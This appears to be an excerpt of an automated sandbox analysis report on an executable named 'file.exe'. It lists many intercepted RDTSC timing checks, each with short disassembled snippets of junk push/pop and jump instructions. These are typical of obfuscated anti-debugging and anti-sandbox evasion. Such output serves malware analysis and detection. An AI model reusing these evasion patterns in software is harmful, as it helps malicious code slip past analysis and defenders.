Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03937 second address: E03949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F3A6094B676h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5523E second address: E5524D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5524D second address: E55253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E553CC second address: E553D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E553D4 second address: E553E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F3A6094B67Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E55D8D second address: E55D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5AFF3 second address: E5AFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5AFF7 second address: E5B001 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3A607FD8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5B001 second address: E5B012 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3A6094B67Ch 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A351 second address: E5A355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A355 second address: E5A363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F3A6094B682h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A363 second address: E5A369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A4AD second address: E5A4DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F3A6094B67Ch 0x0000000e jmp 00007F3A6094B689h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A4DA second address: E5A4E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A4E0 second address: E5A4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A4E4 second address: E5A4E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A664 second address: E5A668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A982 second address: E5A995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F3A607FD8B6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A995 second address: E5A999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DEED second address: E5DEF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DEF8 second address: E5DEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DEFC second address: E5DF02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DF02 second address: E5DF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DF08 second address: E5DF16 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007F3A607FD8B6h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DF16 second address: E5DF46 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3A6094B676h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3A6094B688h 0x00000015 push eax 0x00000016 push edx 0x00000017 jnl 00007F3A6094B676h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DF46 second address: E5DF62 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3A607FD8B6h 0x00000008 jmp 00007F3A607FD8C2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DF62 second address: E5DF72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F3A6094B676h 0x0000000a jc 00007F3A6094B676h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DF72 second address: E5DF76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D672 second address: E5D676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D676 second address: E5D68C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3A607FD8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F3A607FD8BCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DC14 second address: E5DC23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A6094B67Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DC23 second address: E5DC3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A607FD8C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DC3F second address: E5DC43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E662F6 second address: E6631F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A607FD8BAh 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F3A607FD8C1h 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64482 second address: E64486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64486 second address: E6449C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F3A607FD8BAh 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6449C second address: E644A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E644A3 second address: E644D9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3A607FD8C3h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F3A607FD8BBh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3A607FD8C3h 0x00000016 jmp 00007F3A607FD8BCh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64613 second address: E64626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A6094B67Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64941 second address: E6495E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edi 0x0000000a jbe 00007F3A607FD8BCh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E654C9 second address: E654CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E654CD second address: E654D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E654D1 second address: E654DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3A6094B693h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E654DF second address: E65524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A607FD8C7h 0x00000009 jmp 00007F3A607FD8C3h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F3A607FD8BCh 0x00000017 push esi 0x00000018 je 00007F3A607FD8B6h 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65524 second address: E6552F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F3A6094B676h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6EAC2 second address: E6EACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F3A607FD8B8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6EACF second address: E6EAD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6DCFB second address: E6DD19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F3A607FD8BEh 0x0000000b jo 00007F3A607FD8B6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007F3A607FD8B8h 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E2C5 second address: E6E2D3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3A6094B67Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E704 second address: E6E708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E860 second address: E6E86E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E86E second address: E6E878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76750 second address: E76754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76754 second address: E7675A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7675A second address: E76760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76760 second address: E76765 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76765 second address: E76772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76772 second address: E7677F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7677F second address: E76783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74AED second address: E74AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74E62 second address: E74E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74E68 second address: E74E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74480 second address: E744AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A6094B681h 0x00000009 push ecx 0x0000000a jmp 00007F3A6094B682h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8AC3A second address: E8AC44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3A607FD8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9052D second address: E90533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E953C1 second address: E953DE instructions: 0x00000000 rdtsc 0x00000002 js 00007F3A607FD8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F3A607FD8BEh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E992D9 second address: E992DF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C5C7 second address: E9C5CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C5CB second address: E9C5E7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3A6094B686h 0x00000008 jmp 00007F3A6094B680h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA004F second address: EA0087 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3A607FD8C2h 0x00000008 jnc 00007F3A607FD8B6h 0x0000000e jc 00007F3A607FD8B6h 0x00000014 jne 00007F3A607FD8BCh 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pushad 0x00000020 popad 0x00000021 jnp 00007F3A607FD8B6h 0x00000027 pop ebx 0x00000028 jmp 00007F3A607FD8BAh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0087 second address: EA0098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A6094B67Bh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0098 second address: EA00A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jo 00007F3A607FD8B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA795E second address: EA799E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F3A6094B67Ch 0x0000000d ja 00007F3A6094B676h 0x00000013 push edi 0x00000014 jmp 00007F3A6094B681h 0x00000019 jp 00007F3A6094B676h 0x0000001f pop edi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 jmp 00007F3A6094B680h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7C5B second address: EA7CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F3A607FD8C6h 0x0000000b jmp 00007F3A607FD8C7h 0x00000010 pushad 0x00000011 popad 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 jo 00007F3A607FD8B8h 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7E27 second address: EA7E31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7E31 second address: EA7E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA810E second address: EA8116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8116 second address: EA811B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA811B second address: EA814C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A6094B685h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F3A6094B685h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA827C second address: EA8287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3A607FD8B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD2B0 second address: EAD2B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD2B4 second address: EAD2B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB14F second address: EBB154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8EF3 second address: EC8EF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8EF7 second address: EC8F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3A6094B676h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8F03 second address: EC8F28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3A607FD8C1h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F3A607FD8BEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8F28 second address: EC8F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F3A6094B686h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8F44 second address: EC8F4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8F4A second address: EC8F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8DB5 second address: EC8DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3A607FD8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8DBF second address: EC8DC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAF8D second address: ECAF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAF91 second address: ECAF9B instructions: 0x00000000 rdtsc 0x00000002 je 00007F3A6094B676h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAF9B second address: ECAFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAB41 second address: ECAB45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE380 second address: ECE385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE385 second address: ECE38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC43E second address: EDC444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC444 second address: EDC448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC448 second address: EDC44E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC44E second address: EDC45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F3A6094B676h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC45C second address: EDC462 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC5E1 second address: EDC5E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
